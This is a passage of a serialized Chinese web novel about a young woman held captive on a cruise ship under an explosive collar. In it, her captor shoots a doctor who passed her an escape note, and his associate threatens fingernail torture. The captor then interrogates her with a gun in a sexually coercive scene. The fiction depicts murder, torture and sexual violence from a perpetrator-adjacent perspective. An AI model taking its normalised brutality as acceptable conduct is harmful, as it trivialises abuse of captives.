所以他抱着秋榕榕前往邮轮医院的时候,医院主管的主任有些诧异。
“周总,什么样的货需要你亲自来送?”医院主任以为他是送人过来摘器官的。
“你们这里能看病吗?她肚子很疼。”
医院主任为难道:“这……我们这里比较擅长拆除。”
“替我现在安排医生帮她检查,价格随便你们开!”
“好!”有钱好办事。
这一刻,周景行不再去想已经找到的周阿姨,他横抱起秋榕榕,真正地意识到沈砚川所说的,她很轻。
像秋天的落叶,飘在了他的手心里。
他本该认真落叶飘在地上,任人践踏,但他伸出了手,将落叶捧在自己的手心里。
秋榕榕并非铁打的金刚不坏之身。
她很脆弱,比一般人都脆弱。
周景行忽然意识到,她的性命并非完完全全掌控在他的手上。
生病和天灾,也可以从他的手中把她夺走。
秋榕榕清醒过来的时候,左手吊着水,空气里充斥着消毒水的味道,她躺在简易的铁架床上,周景行就坐在她的身边。
“我这是怎么了?”她因为疼痛把嘴唇咬出血,现在口腔里还有一股血腥味。
“肠痉挛,并非器官性病变,也不是你说的宫外孕。”周景行冷静下来之后,才发现自己被她的话控制住了情绪。
明明江无渡说过,以她现在的身体状况,不用戴套,她根本没有办法自然受孕,但她说宫外孕可能性的时候,他竟然还是相信了。
秋榕榕摸了摸小腹,现在确实已经不再痛,“你找的医生靠谱吗?”
“……”
秋榕榕见周景行脸色阴郁,眼底的那么柔情被冰冷的神色替代,用那只没有吊针的手覆盖在他的手背上,温声细语。
“我也不懂呀,遇见这种事情就很慌张。你知道的,我又不想死,船上没有我可以依赖的人,我只有你,哥哥。”这突如其来的肠痉挛,帮秋榕榕试探出周景行对她的态度,这简直是老天奶在帮她。
谢天谢地,他竟然对她还有一点在意。
周景行的声音稍显冷淡,连基本的温和伪装都没有,“医生说你这次的肠痉挛主要是肠道菌群紊乱加上心理因素导致的。”
“心理因素?”
他面无表情地吐出四个字,“长期高压。”
秋榕榕心下了然。
她能麻痹自己的想法,但是身体给了她答卷。
长期的恐惧和紧张已经影响到了她的身体健康。
“别听医生胡说啦,无论去看什么病都会加一个心理因素,就跟玄学一样,不靠谱。”秋榕榕亲近他,她的身体往他的方向倾斜,不许他打退堂鼓。
“你没有骗人的天赋。”
周景行察觉到了自己的失控,于是他开始收回自己的心,收回自己在秋榕榕身上的投资。
他给了她太多超过她原本价值的东西。
一个在顺心可人的玩具,也不值得他花费这么多心思。
那个项圈,和这次看病,都不是必须的。
她的身上,有他的沉没成本。
“情话本来就只说给愿意相信的人听。”秋榕榕手指在他的手背上慢悠悠地画圈圈,“你是我的唯一,我这辈子只说给哥哥听。”
周景行当然不是秋榕榕的唯一,他曾经亲手把她推给徐照。
她就是在说谎。
她的谎言一眼就能看透。
但那又如何呢?
谁说人不爱听甜蜜的谎言?人是最会自欺欺人的一种生物!
他要撤离,秋榕榕绝对不会让他退出,她在他手下苟延残喘,凭借的无非是他没有感情经验。
他们在床上纠缠。
在周景行看来,是他绝对的主导剥削,男人把女人压在身下,就会出于原始本能的觉得,这个女人是他一个人的美味猎物。
但女人也可以通过这种事情去迷惑男人。
性和爱是两回事。
是新手极容易混淆的两件事……
无论他在外面多么呼风唤雨,他手段再怎么狠辣老练,他在床上就只有她,他掌控着她身体的同时,她也在慢慢刺探着他的心。
只要温水煮青蛙,她也可以做上面的那一个。
第102章 信号
秋榕榕的身体里还检查出微量的兴奋类药物残留。
这是和凯瑟琳接吻的时候,过渡到她身体里的。
因为剂量少,身体代谢掉都没事了。
秋榕榕的水还有四十分钟才能钓完。
“哥,我肚子饿了,可以吃点东西吗?”秋榕榕没那么饿,她只是想和周景行说话,他的沉默是危险的,她不能让他想得太清楚。
“等会送来。”
周景行发消息给沈砚川,让他派人去买一份面条送到病房。
沈砚川也是后面才得知秋榕榕肠痉挛的事情。
秋榕榕痛到晕厥之后,周景行竟然给他打电话,详细地问他宫外孕的相关情况。
明明之前已经检查过,秋榕榕没办法怀孕,但周景行还是打电话专门问他,把宫外孕到底是什么了解清楚。
意识到可能危及性命后,沈砚川听见他语气里的慌乱。
如果说报仇,到这一步就已经够了。
他们在秋榕榕身上施加的已经足够多。
如果再气不过,可以把她卖到岛上去。
岛上有一些特殊癖好的顾客,她去了岛上会死得很惨。
他们的目标就是让她惨死。
想要达成这个目标根本就不难。
不需要那么多投资。
“阿行。”沈砚川叹息道:“你在她身上花的时间太多了。”
时间是成本,金钱是成本,感情也是成本。
秋榕榕是他不应该再投资的亏本项目。
沈砚川旁观者清。
“我不想她是因为怀着我的孩子死去。”周景行是坏人,他可以清醒地去作恶,但如果作恶的工具是自己的孩子,他不愿意走到这一步。
他有的时候和秋榕榕很像,他们都是对自己不错的人。
拿着刀去杀人可以。
但是不想血溅到自己手里。
他也知道,那不是好事情。
秋榕榕对自己好,也对别人好,她心存良善,诚心待人。
周景行也懂什么是良知,善恶曲直,他能明辨。
只是选择不同罢了。
秋榕榕选择做个好人。
他选择做个恶人。
而做恶人,也不想做到自己的孩子身上。
他觉得父债子偿天经地义,但那只是针对别人,若是对自己的孩子,他宽容许多。
挂断电话之后,沈砚川看着电脑里急需处理的公文失去了打字的心思。
他们三人走到今天这一步不容易。
舍去了过去的姓名,双手沾满鲜血也要平息过去的愤怒,现在风要止息,只剩收尾阶段,沈砚川却是隐隐察觉到不安。
他其实想直接提醒周景行,别去喜欢秋榕榕。
但他又觉得自己这么说想太多。
周景行不会忘记秋榕榕的身份。
他在折磨践踏她,一个床上的玩物而已。
沈砚川若是提到“喜欢”二字,只是侮辱周景行。
他叹了口气,终究是什么也没有说。
秋榕榕吃了一份清汤挂面。
医生不让她吃太多,说是积食也容易导致肠痉挛。
那位医生是从客舱里临时请过来的,周景行出去的时候,医生偷偷塞了一张纸条给秋榕榕。
纸条上写着:21号凌晨4点,后甲板应急梯下,救援艇位于第二浮标处,绿灯闪三下为识别信号。
秋榕榕抓着纸条想死的心都有了。
直接手机打字给她看不就得了。
写什么纸条啊,没地方藏。
秋榕榕身上根本就没有藏东西的地方,晚上回客房休息,周景行会把她脱个精光,她每天穿的衣服由周景行决定,一旦被发现这张纸条,她吃不了兜着走。
医生冲她眨眨眼睛。
秋榕榕当着医生的面,把纸条塞进嘴里吃了。
还是吃进肚子里比较安心。
纸张又硬又干巴,秋榕榕顺着水硬吞了下去。
“你的身体状况不太乐观,长期营养不良,加上睡眠质量差,导致基础代谢偏低,免疫系统虚弱。”医生收起听诊器,“建议近期完全静养,按时服药和调理饮食,至少一个月内避免剧烈运动。”
秋榕榕点点头,她关切地追问:“我的身体可还有其他问题?”
“你现在是亚健康状态,贫血,激素水平低,血压也不稳定……不过也别太担心,都是一些小毛病,你主要以调养为主。”
秋榕榕拿着报告单一项一项询问,问着该吃什么药,该如何调理。
幸好医生比较有耐心,挨个给她解释报告单检测数值的意思。
结束后,医生感叹一句,“你还挺爱惜自己身体的。”
“身体要是垮了,什么都没有了。”
医生看见了她身上的伤,甚至检查有些是因为激烈性事导致的。
就连一个来通风报信的医生都能看得出她过得不好。
医生似乎有话要说,他又拿出了纸笔。
秋榕榕赶紧拦住他,示意他用手机。
医生摊开手,他没被允许带手机。
他们二人面面相觑。
医生想了想,用手指蘸着水在桌子上写下一行字。
“信号范围两公里。”
秋榕榕脖子上的微型炸弹小巧精致,好在引爆是通过无线装置,而非手机或者卫星,否则她就算是逃到天涯海角,也逃不出被炸死的命运。
周景行正巧在此时回来。
秋榕榕假装失手打翻水杯,将桌面上的那一行小字淹没。
医生把周景行单独叫了出去,他们就隔着一扇没关紧的玻璃门。
秋榕榕躺在病床上,听得真切。
医生苦口婆心地说道:“她的身体底子本来就弱,再加上最近精神紧绷,饮食和睡眠都极不规律,神经系统已经开始出现应激反应……”
“她现在没问题了吧?”
“暂时……没有大碍。”医生迟疑了一下,补了一句,“但是一定要调养,不能再有太激烈的性事。”
周景行一双眼冷静如水,看不出情绪,却叫人无端发寒,“你还真是医者仁心,周阿姨有点本事,身边还是你这样的好友。”
医生心下一惊,后背冷汗直流。
“我不是……你竟然知道……”
下一秒,周景行直接掏出枪,崩了他的脑袋。
他甚至没来得及开口辩解,脑袋便猛然一偏,血花在白墙面上炸开一团模糊的红梅。
周景行的脚往后退了一步,免得炸开脑瓜里溢出的鲜血弄脏了他的鞋子。
第103章 审问
在公海上杀人,不会被追责。
秋榕榕眼睁睁地看见周景行掏出枪,毫不留情地打穿医生的脑袋,子弹洞穿头骨,鲜血从尸体的后脑汩汩而出,染红地面。
这是她第一次看他杀人。
没有挣扎,没有犹豫,轻飘飘地按下扳机,随后绕过尸体,走向她。
他的表情没有变化。
没有杀过人的愧疚,也没有兴奋,他对于杀人这件事情习以为常,开枪就和吃饭一样简单。
秋榕榕大脑出现片刻的眩晕感。
鲜红的色彩刺激着她的眼球。
一个上一刻还鲜活地和她说话的人,下一秒就直挺挺地倒在她的不远处。
她还没问他的名字。
他有家人,有朋友,就是过来递个纸条,传句话,然后就变成了一具没有温度的尸体。
没人给他收尸。
“聊了什么?”他的声音依旧温和,却压得秋榕榕喘不过气。
秋榕榕喉咙发紧,“没聊什么,就是简单地说了一下我现在的身体状况。”
周景行没说话。
她慌了,语气不由快了几分:“你不是在项圈里装了监听装置吗?你可以调出来听……我真的没说什么。”
“没聊,那就是写字了。”
“没……没有写。”
她说着说着,开始一件一件地脱衣服,动作决绝,将口袋翻开、拉链扒开、衬衣内缝撕裂,只为证明给他看。
他看见她的手指因为用力而被勒出来的红痕。
看见拉链刮出来的细小伤口。
又想起医生所说的,她长期处在高压的环境下,身体越来越不好。
“你要是不信你就查,看能不能从我身上找到纸条。”秋榕榕摊开双手,一副任君搜查的姿态。
人只有做了心虚的事情,才会急于证明自己没有做错。
周景行神情无悲无喜,看着桌面上打翻的水,帮她把衣服一件一件穿起来,扣上扣子,再高领羊毛衫的领子翻好。
“这里暖气不足,别着凉。”
周景行陪秋榕榕在病房里待了半天,等到水吊完之后,他带着她一起离开。
这段时间相处,秋榕榕发现他的手下其实有可用之人。
有很多秋榕榕没见过的生面孔,会经常拿着枪,守在周景行的安全范围之内。
他完全可以找其他人看着她。
但是没有。
周景行对秋榕榕,称得上是寸步不离。
他花了太多时间在她身上。
有的空闲时间,都给了她。
现在连谈生意也要把她带上。
周景行当然有理由,说她是他的女伴,他的谈资,他的商品,他把她带进他的世界,展示给身边的人看。
可就算是这样,他时间也花得太超过。
他会下意识地把她安排给最信任的沈砚川。
而这种小事,他不该问沈砚川的。
他们之间谈的都是大生意,是下一步商业版图应该往哪里扩展,是如何把手上的资金洗白。
无论如何,也不该是秋榕榕到底是因为什么肚子疼这种小事。
医生的话周景行听进去了,晚上秋榕榕少了睡前运动,睡前一杯温牛奶是秋榕榕的习惯,周景行每次都会给她端过来。
肚子早就不疼了。
但秋榕榕病殃殃的,她不需要过多的表演就可以本色出演,这不算是谎言,她本就脆弱。
半夜周景行给秋榕榕量体温。
她每次经历过过激对待后,都会发烧。
周景行如此的了解她,知道她见了死人会害怕,严重的话还会惊厥,所以半夜不睡觉,多次摸她的额头。
他要她生不如死。
可生不如死的前提的是生。
他希望她活着。
或者说,再活一段时间。
周景行他们调查到了周阿姨的踪迹。
周阿姨作为周家唯一一个逃出生天的人,逃命的本事可不是说着玩的。
她就在游轮上,但没人能找到她。
沈砚川来找秋榕榕,必然是周景行同意的。
这种做坏人的场合,他们调换了角色。
由沈砚川做坏人,周景行做旁观者。
秋榕榕坐在床上,她腰后垫着枕头靠着床头,把被子拉到胸口的位置手藏在被子里。
沈砚川坐在旁边的椅子上,身体略微前倾,“周红霞给你传递了什么信息?”
周红霞是周阿姨的名字。
“我不认识周阿姨,之前也没有见过。”
秋榕榕不擅长说谎话,她选择低着头答非所问。
沈砚川放出一段录音。
是那天在厕所里的声音。
其实只有一小段对话。
“秋榕榕……”
“你是谁?”
“我是你周阿姨,和你爸爸妈妈是高中同学。”
“我不是,你认错人了。”
录音声清晰。
秋榕榕心如擂鼓,她解释道:“我之前从来没有见过周阿姨,她对我而言就是一个陌生人。
这个人叫出了我的名字,但是我记得你们交代过的话,让我在游轮上不要随便和陌生人搭话,我觉得她是骗我的,就没有理她。”
这段录音听不出来什么。
从这段对话上面听,秋榕榕也没有背叛过他们。
秋榕榕刚解释完,沈砚川那只修长白净的手毫不犹豫地挥了出去,结结实实地打在了秋榕榕脸上。
他的动作干净利落,毫无怜惜。
秋榕榕的头猛地偏向一边,嘴角瞬间沁出血丝,耳朵嗡鸣作响。
沈砚川没有收力,他看起来很斯文,没想到打起人来手那么重。
他镜片后的眼神透出锋利,像是春日湖面之下未融化的冰,“我再问一遍,她和你说什么了?”
秋榕榕不说话,以沉默对抗。
她想得很简单,觉得自己只需要在约定的时间内到达救援点,坐上快艇,逃出游轮两公里,就会逃离引爆器的信号范围。
到时候再找到拆弹专家,把脖子上的项圈拆下来,她就自由了。
总归是希望。
是切切实实可以走通的路。
“上次的指甲还没长好吧?”沈砚川拿出牙签,从被子里拽出秋榕榕没受伤的那只手,“阿行对你还是留点情面,下手才比较轻,他用的是刀,刀挑指甲其实没那么疼,不过对于你这种小女生而言,也在承受范围之外就是了。
知道怎么做才是最疼的吗?用牙签沿着指甲缝插进去,才是最痛的。
我也不喜欢搞得满手都是血,但你要是不配合,我就只能这么做。
相信我,你没受过专业训练,凭你的意志力承受不了这种酷刑,你现在说,少受罪,等会我把牙签戳进去,你同样也会招供。
结果对你而言是一样的,学聪明点吧。”
第104章 招供
秋榕榕用力想把手抽回来,沈砚川抓着她的手,让她动弹不得。
周景行在旁边看着。
他的同伴动手时,他不会阻止。
立场显而易见。
他们才是同一边的。
秋榕榕是他们共同的人质。
她认得清这一点,所以一眼都没有看向周景行,所有的心力都放在沈砚川手上捏着的那根牙签上,努力冷静下来。
“你这么做,会让我屈打成招,说不定我因为害怕开始乱说。”
“你敢吗?”沈砚川把牙签放进秋榕榕右手食指的指甲缝里,只要她稍微动弹就会戳进去。
秋榕榕心念急转,她蜷缩着手指慌张地说道:“四年,沈砚川,谭松坐牢之后,一直是你照顾我。
我因为盗窃的污名,在学校没有其他朋友,是你鼓励我不要在乎其他人的看法。
我想考研究生,是你帮我补习练习口语。
纵使你一开始是居心叵测地接近我,但这四年的时间不是假的。
我曾真的很感激你。”
她眼里泛着光,细数着当年的那点美好。
她知道他们这些人没有良心,但她借着这个机会,还是把心里话说出来。
沈砚川不以为意,他的心是混在冰棱中的玻璃,春风拂过,只有他不融化。
“笨蛋,那是装的,在补课的时候我就说过,你真不是一个聪明的女孩儿。”
秋榕榕认真地思考了一下。
她淡淡地笑起来。
“嗯,我是笨蛋。”
沈砚川见秋榕榕那么干脆地承认下来,眼里有恐惧,但没有怨恨,还用那样悲伤的眼神看着他,他捏着她手指头的指愈发的紧,脸色也渐渐难看起来。
本来不在意,却因这句话内心触动了一下。
他也低估了观察一个人四年所带来的杀伤力。
但沈砚川喜欢欺人,却不自欺。
当他意识到这一点的时候,他很快承认下来,“感情归感情,总不能让感情误了正事。”
他总能在最快的情况下,做出最理智的选择。
“是呀,你是聪明人,聪明人永远会不受影响做出最正确的选择。”
如果沈砚川真的下手,秋榕榕清楚自己不可能扛得下来。
她已经快放弃,准备说出来纸条的事情……
就在此时,周景行在旁边声音很轻的说了一句,“四年……很长吗?”
秋榕榕原本沉下去的心很快又提了起来。
她这才把目光分给周景行。
他站在血溅不到的位置,穿着大翻领的深灰色落肩大衣,侧头看向他们的方向,衣冠楚楚,矝贵自持。
“你希望谁来审你?”
秋榕榕毫不犹豫地说道:“你。”
如果他们做一样的事情,秋榕榕会立刻招供,如果周景行下手轻,在她忍受范围之内,她就扛住不说。
秋榕榕的忍受范围有标准,那就是不能对她自己身体,以及身边亲近的人,造成无法挽回的伤害。
周景行得到了他想要的答案,他走到床边,对沈砚川说道:“接下来的事情让我来吧。”
沈砚川微微皱眉,“你确定?”
他不希望事情往不可控的方向发展。
“其实我来动手,这件事情会变得非常简单。只需要一个指甲,她知道我没有吓唬她之后,就会招供。”
“我来吧。”周景行拍了拍沈砚川的肩膀。
沈砚川有些烦闷地站起身,把椅子往旁边一推,捏着那根牙签给周景行,“你最好真的下得去手。”
周景行瞥了一眼牙签,“我不用这个。”
“我那里还有一些其他刑讯的道具,可以暂时先借给你用。不过用完之后,你得把上面的血洗干净再还给我。”
“不用了。”周景行拿出枪,“我用我的方法来审。”
“行吧,简单高效。”沈砚川没有在此地观看的爱好,“我去给你找个医生,以防止她失血过多。”
周景行点头。
沈砚川从房间离开后,这个屋子里就剩他们两个人。
片刻后,门锁“咔哒”一响,被周景行反锁上了。
海平面上的硕大游轮,在无垠的汪洋上也显得渺小。
周景行手里拿着枪走到床边,没有立刻动作。
“你想逃吗?”
“没有,我命在你手里,没这本事。”就算再不会撒谎,也必须得说。
周景行的身影被落地床头灯的灯光拉得很长,黑色的剪影静静落在地毯上,显得沉默。
秋榕榕就坐在床上,他不动手,她就一言不发装鹌鹑。
人总是不见棺材不落泪。
她就是得到最后一刻才死心。
不然就会抱着侥幸心理,觉得自己有逃出一劫的可能性。
他那双温和的眼,现在像死水一般,毫无涟漪,深不见底,“刀柄和枪,可以是同一个用途。”
秋榕榕惊愕地抬起头。
她几乎在一瞬间明白他话中的意思,脸色惨白。
周景行缓缓走来,秋榕榕把被子往身上拉了拉,他的皮鞋轻轻碾过地毯,一下一下,像是踩在她的心头。
“同样的四年,我希望我带给你的感受更深刻。”他开口,俯下身来贴在她的耳边,嗓音低而稳,“你不用和他攀感情,他是精密计算的仪器,没有心的。”
可你也没有啊。
你们三个都没有。
秋榕榕心里腹诽。
“你可以招,也可以不招,我不会逼你一定要说出来,但我也不会停手放过你。
你只要记住,只要你说出来,一切都会停止。
选择权在你。”
他温柔地摸了摸她的头发,还是把选择权交给她。
选择谁动手。
选择何时结束。
“好。”秋榕榕深吸一口气。
周阿姨是爸爸妈妈的高中同学,承载着她离开的希望。
只是周阿姨出现的突然,她为什么要帮助她?难道真的只是出于同学的情谊吗?
秋榕榕想不通其中的原委,但是机会就在眼前,做任何事情都有风险,她这次如果不抓住机会,说不定在死之前,都不会有那么好的逃走机会。
他抵着她的额头,枪口顺着挺翘的鼻梁,慢慢往下滑,划过唇瓣,滑向锁骨,最终停在下腹的位置,顿了顿,再往下。
和刀柄一样,只不过枪是可以上膛的。
咔哒——
当子弹上膛,秋榕榕感受到全身的血液都停止流动。
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第105章 游戏
如果这种时候死掉,她一定死相悲惨,足以上新闻头条,成为别人茶余饭后的谈资。
她会肠穿肚烂,会被子弹打穿,头顶上会留下一个圆圆的血窟窿。
每个人谈起她的死亡原因,都会露出不怀好意的笑容。
“放松,别那么紧张。”他的声音很轻。
怎么可能不紧张?
秋榕榕现在就像是被浪拍打在海外边脱水的鱼,死亡离她如此接近。
她觉得口干舌燥,恍恍惚惚间枪管的冷硬触感消失,她又看见那年夏天,她把家里的快递纸盒全部都收集打包好,送给星汇广场附近的一个独居的老奶奶。
天气闷热。
她额头冒着汗。
周景行一边抱怨着秋榕榕用他的豪车后备箱装硬纸板,一边帮她一起装东西。
“那位老奶奶每次见到你,都跟见了亲孙女似的,这些硬纸板就这么能收买人心吗?
明明我说要捐钱给她,她都不要。”
周景行并不吝啬于钱财,他本身不贪图享乐,也不纵情声色,金钱于他而言是数字。
“人家也是有尊严的,她可以接受善意,但不代表会接受施舍。
再说啦,她就一个人住,我们每次过去的时候还可以陪她说说话,不也挺好的吗?”
“你对每个人都那么好吗?”
秋榕榕点头,“诸恶莫作,众善奉行。我也不是毫无私心啦,我这是想多做点好事,行善积德,然后我的运气就会变得好一些,不会再碰到奇奇怪怪的事情了。”
当时周景行的面容和现在的他重合在一起。
当年还有青涩的少年感,现在比当年多了几分成熟。
当时周景行说的是什么呢?
秋榕榕有点记不清。
他说的是:
“可你碰见了我。”
“以后你的身边会有我。”
还是,
「幸好你遇见了我。」
「我不会伤害你。」
秋榕榕又走神了,她每次走神之后,就会从极度恐慌的状态中平和下来,变得更加能承受高压。
她就像是电脑卡顿之后,又开始重启。
无论什么问题,只要重启之后就会变成原样。
而当秋榕榕回到这种中断状态下的时候,周景行就知道自己再也问不出任何问题的答案。
她治愈了。
什么行为怪癖!她就这样通过逃避现实把自己给治愈了!
周景行把枪收了回来,用湿巾把枪口擦干净。
秋榕榕一个字没招。
如果沈砚川看见这一幕,肯定会说他这么做效率不高。
但周景行不想用牙签戳秋榕榕的指甲。
那样会对手指造成无法修复的伤害。
他在尽力保证她的完整。
一个值得爱惜的、属于他的玩具。
“好啊,既然你能忍下来,什么都不说,那就算我误解你了。”周景行又变成了那副温文有礼的模样,眼睫低垂,“你好好休息,我叫医生过来。”
这次的医生有些粗暴冷血,他检查的时候下手没轻没重。
“好疼,有伤口,你轻一点检查。”
医生翻了个白眼,“你爽的时候怎么不叫疼?”
秋榕榕脸色变得难看。
最后开了一些治疗外伤的药膏。
“这个药怎么用?”秋榕榕还有话要问医生,得保持客气。
医生没好气地把药膏往床上一扔,“你自己不会看说明书啊,上面写得明明白白的问我做什么?”
“说明书上是外文。”秋榕榕眯着眼睛看着说明书上的小字,这上面是哪个国家的语言她都认不出来,应该是很小众的国家。
“那你去问别人,我的工作结束了。”医生似乎心里有怨气,一秒钟也不愿意在这个房间里多待。
周景行皱着眉,看着医生格外没耐心地离开,他问沈砚川,“你从哪里请来的人?脾气这么差。”
“不是请的,是拿枪逼的,我拿他老婆孩子威胁他,他才愿意过来帮忙看病。态度差很正常。这艘船上没有好医生,唯一好点的昨天被你杀了。”
“昨天那个医生是周红霞的人。”
沈砚川耸肩,摊开手,“是啊,所以你杀了很正常。”
周景行叹了口气,“这次应该让江无渡同行。”
江无渡是医生。
虽然执照被吊销,但是技术还在。
他们如果受了那种不方便去医院处理的伤,最终都是由江无渡帮他们包扎缝合的。
“这不重要。”沈砚川用食指和大拇指捏着牙签的两端,“阿行,你不是在审她,你是在玩她,你想玩得尽兴,我不拦你,但你真的相信她什么都不知道吗?”
他们都清楚,他们根本不在乎什么证据。
他们只需要像以往一样,把人折磨一番,人在极度的痛苦中反反复复说出来的话,一定是真话。
那才是他们真正的习惯。
他们只需要相信那种状态下人说出来的话就可以了。
证据什么的,不需要。
他们又不是好人,不看这些。
周景行从来没有相信过秋榕榕说的话,她只是撑下去,这是他给予她进步的奖励。
“这几天给她一点自由,她如果真的和周红霞有交流,肯定还会再见面。”
给人希望,再让人绝望。
沈砚川看着房间里正在给自己上药的秋榕榕,也笑了起来,“还不如直接逼她说出来,玩这么一大圈,她会崩溃的。”
“如果崩溃,游戏结束。”
沈砚川有些意外,“我以为你挺在乎她的。”
“这段时间,你和江无渡已经提醒我很多次,无非就是担心我把自己玩进去。”周景行眼神温和得如同三月的春风,“在你们眼里,我就那么分不清正事和乐趣?”
沈砚川尴尬地推了一下眼镜,“你看出来了。”
“你们明知道那不可能。”
“是啊。”沈砚川在这一瞬间觉得秋榕榕很可悲。
她自以为是的筹码,其实不值一提。
而周景行,永远只是那个温柔笑着做坏事的周景行。
他和他们是一类人。
他们的初衷永远不会改变。
秋榕榕上完药之后,在心里默念上次纸条上的内容,防止自己忘记,然后赶紧睡觉,攒足精神,为自己搏一把。
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第106章 遗憾
谭松完成速降滑雪后,接受新闻媒体的采访,冰天雪地中,他动了动自己僵硬的手,当年他的手指被徐照砍掉一根,握着滑雪杆的时候手不灵敏。
身体撑不了多久。
辉煌最多一年。
他默默吞下一片止疼药,走进休息室,取出手机。寒气未散,他习惯性地点开秋榕榕的朋友圈。
一张海景照片跃入眼帘。
他没有犹豫,先点了个赞,又斟酌再三,敲下一行字:
【喜欢大海?】
消息石沉大海。
他明知秋榕榕不可能及时回复,却还是一遍遍查看手机。
直到屏幕跳出提示,他猛地一惊,点开一看……
是广告。
他咬了咬牙,重新打开那条朋友圈,在评论区又留下一句:
【普通海域太无趣了。想去看看尼莫点吗?那里是世界上最孤独的地方,连鸟都飞不过去。】
话后,还配了两个勾引的黄脸表情包。
这次,“秋榕榕”回了两个字:
【不去。】
冷冰冰,连个表情包都不带。
谭松盯着这条消息,两只手紧紧捧着手机,思绪纷乱,又急忙敲下一句:
【那你想去哪里?我们一起。】
然后就是一阵沉默,消息毫无回音。
公海上,天海一线,四面八方只剩下无垠的海水,深不见底,冷冽幽沉,像是要将一切吞没。
游轮庞大的引擎声在幽深的海域低鸣,缓缓行驶,身后留下一道深蓝色的波痕。
周景行和秋榕榕住的是套房,房间有上下两层,一楼是方窗,二楼有单独的阳台。
此刻,他正斜倚在阳台上的躺椅里,双腿交叠,眼神沉静,目光越过船沿,投向远方海天相接处。
秋榕榕坐在他身侧,低着头,隐约听见手机一直在振动。
那是她的手机,是别人发给她的消息。
他不给她看。
秋榕榕已经是第三次看向手机。
周景行知道,他没抬头。
他知道谭松是什么样的人,当年他的父亲把他保护得很好,纵使在外面坏事做尽,回了家依旧扮演慈父和好老公的角色。
谭松天真,又经受不起打击。
放任自己堕落,没有本事去振兴家业,心也不够狠,成不了事。
周景行从来没有把他放在眼里。
“想看?”周景行晃了晃手机。
秋榕榕连连点头。
周景行没说给,也没说不给。
只是将手机屏幕反扣,放在阳台一侧的小圆桌上,语气平静:“你对外已经宣称我们订婚了,怎么还有男人隔三岔五给你发消息?”
“谁?”秋榕榕明知故问。
“怎么?除了谭松,你还有其他男人?”他瞥她一眼。
秋榕榕小声解释道:“谭松追求刺激,就是订婚了他才喜欢,你要是对外宣称和我分手了,他保证就不联系我了。”
周景行果断吐出两个字:“不分。”
紧接着,他对秋榕榕勾勾手,“过来。”
秋榕榕迟疑着走过去,被他一拉,整个人便跌坐进他怀里。
他环住她的腰,将手机解锁,递到她眼前。
屏幕上是密密麻麻的消息通知。
他把手机展示给她看。
谭松报备自己的行程,拍下雪山的团队合照,又上传了速降滑雪后的心机自拍,每一张都附带问候,字字句句贴心得仿佛两人才是不得已分隔两地的青涩恋人。
周景行指尖划过那一条条信息,语气带着浅淡的嘲弄:“你们本该是死敌,现在这样算什么?”
“算他喜欢聊骚。”
秋榕榕赶紧把手机屏幕熄灭。
她绝对不能和周景行起争端。
后天就到了约定的时间,秋榕榕得哄着他,让他不太限制她的行动范围,她才有机会去约定地点查看是否真的能离开。
“说不定这些消息是群发的,他是玩咖,不是能托付真心的人。”见周景行没有回应,秋榕榕便挽住他的脖子,凑上前,声音低软地在他耳边撒娇,“我只喜欢你呀,哥哥。”
不看他的脸,才能说出违心话。
他审视着她,“真心话?”
秋榕榕迟疑地点了点头。
一半一半吧。
秋榕榕喜欢的是周景行曾经的假面具。
喜欢他温柔善良,耐心体贴。
而现在的他,令她畏惧。
除了逃离,不作他想。
“怎么可能是真心话。”周景行他垂着眼眸,眼睑下的淡影像夜色里压得很低的云。
他知道的,知道这是瞎子都能看得出的谎言。
秋榕榕说得对,他一直身处火宅之中,无法脱离。
秋榕榕忍不住盯着他脸看。
他睡着的时候也会露出这种无辜的表情。
每次夜深人静,秋榕榕在他怀里醒过来,看着他安睡时干净无害的模样总觉得很割裂。
他睡着的时候,不会伤害她,她可以依靠在他的怀里,对抗漫长无边的夜。
那样的他,没有虚伪的温柔,显得乖巧又脆弱。
如果演的是真的,如果他不是亡命之徒……
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她从他嘴里得知那些真相,便走到了美梦的尽头,梦里有她期许的生活,梦外只有冰冷的寒夜。
但她没有尖叫。
她依旧安安静静地坐着,就像迟钝的木偶人,把心里所有的恐惧全部锁进盒子里,对着镜子化妆微笑,然后继续走上舞台。
秋榕榕的反应并没有那么快,在那之后很久,她才意识到,自己对于这个不幸的真相感到难过。
他不是她想象中的那个人。
不是温柔,不是救赎。
只是她一厢情愿地,把一双染满血的手,误认成了安慰她的掌心。
于是那种迟缓的悲伤终于来了。
缓缓地覆盖上,像是丝绸将她缠绕,一寸一寸,令她窒息。
“是你负我。”秋榕榕的声音非常轻,轻到可以被一阵海风带走,坠落于波涛中。
大海埋葬她的心事。
周景行当做没有听见。
是的,是他负她。
但这是必然的结局。
他们的相遇本就是居心叵测。
如果再来一次,周景行仍然会做相同的事情。
不会改变。
他绝对不会改!
周景行觉得心里空了一块。
他不能在伤害中感到快乐,也不喜欢鲜血黏腻的触感,他做了这么多,得到了想要的,也留下……新的遗憾。
如果她不是她。
如果换个人……就好了。
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第107章 私心
人不会换。
秋榕榕也不能活。
她会拼命地逃,会骗他,会偷走他犯罪的证据,会试图将他毁灭。
要怪就怪当年的那一场大火。
怪她体内流淌的罪恶鲜血。
没有善始,他们不得善终!
夜里,秋榕榕在房间里睡着,周景行起身,将房门从外反锁,去了沈砚川的房间。
沈砚川的房间有两层楼高的巨大落地窗,夜色海景一览无余。
他们坐在玻璃窗边,聊着暗网数字资产收购的生意。
生意聊完后,周景行看着窗外问道:“把谭松一个人放在国外,不担心他逃出你的手掌心?”
“派人看着就行了。”沈砚川安排妥当,不会让谭松逃脱。
他的自由,只是看起来的自由而已。
沈砚川的五官如果遮住眼睛,其实很端正,但露出那双深邃又或许阴鸷的眼睛,就会给他平添几副邪气。
所以他一直戴着眼镜,作为好人的伪装。
周景行沉默。
沈砚川笑着说道:“也就你把秋榕榕带在身边,寸步不离。”
周景行缓缓说道:“不及你对谭松仁慈。”
沈砚川唇角的笑意一僵,“此话何意?”
“让他完成毕生所追求的极限运动挑战,并安排他在最后一个项目中死去,通过全球直播让世人记住他最辉煌的一刻,你在成全。”
沈砚川自诩旁观者,周景行同样心如明镜。
周景行对秋榕榕没有仁慈。
如果他仁慈的话,他就该在她最幸福的时刻将她杀死,而不是在暴露真相之后,让她生于恐惧中。
周景行做的,才是惩罚。
沈砚川对谭松是仁慈的。
他给谭松挑选了死法,是成就谭松毕生的夙愿。
沈砚川的怪癖是喜欢说谎。
他爱骗人,大的、小的,甚至没有意义的。
同时,沈砚川不骗自己。
“我只追求结果,不在乎过程。我和谭松在翼装飞行俱乐部里认识,最终会让他在这个项目中死去,也算是有始有终。”
